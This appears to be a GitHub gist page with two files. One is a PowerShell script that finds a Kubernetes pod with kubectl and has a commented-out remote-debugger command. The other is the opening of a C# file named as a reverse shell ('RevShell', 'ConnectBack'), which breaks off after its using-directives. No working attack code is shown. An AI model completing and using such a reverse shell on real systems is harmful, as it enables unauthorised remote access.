This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$SELECTOR = "" | |
# searching for the pod to connect to by selector and namespace | |
$POD=`kubectl get pods -n $NAMESPACE --selector=$SELECTOR -o jsonpath='{.items[0].metadata.name}'`; | |
Write-Host "POD: " + $POD | |
# starting remote debugger that we installed earlier inside our docker image | |
#kubectl exec $POD -n $NAMESPACE -i -- ../vsdbg/vsdbg --interpreter=vscode; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace RevShell | |
{ | |
using System; | |
using System.Diagnostics; | |
using System.IO; | |
using System.Net.Sockets; | |
using System.Runtime.InteropServices; | |
using System.Text; | |
namespace ConnectBack |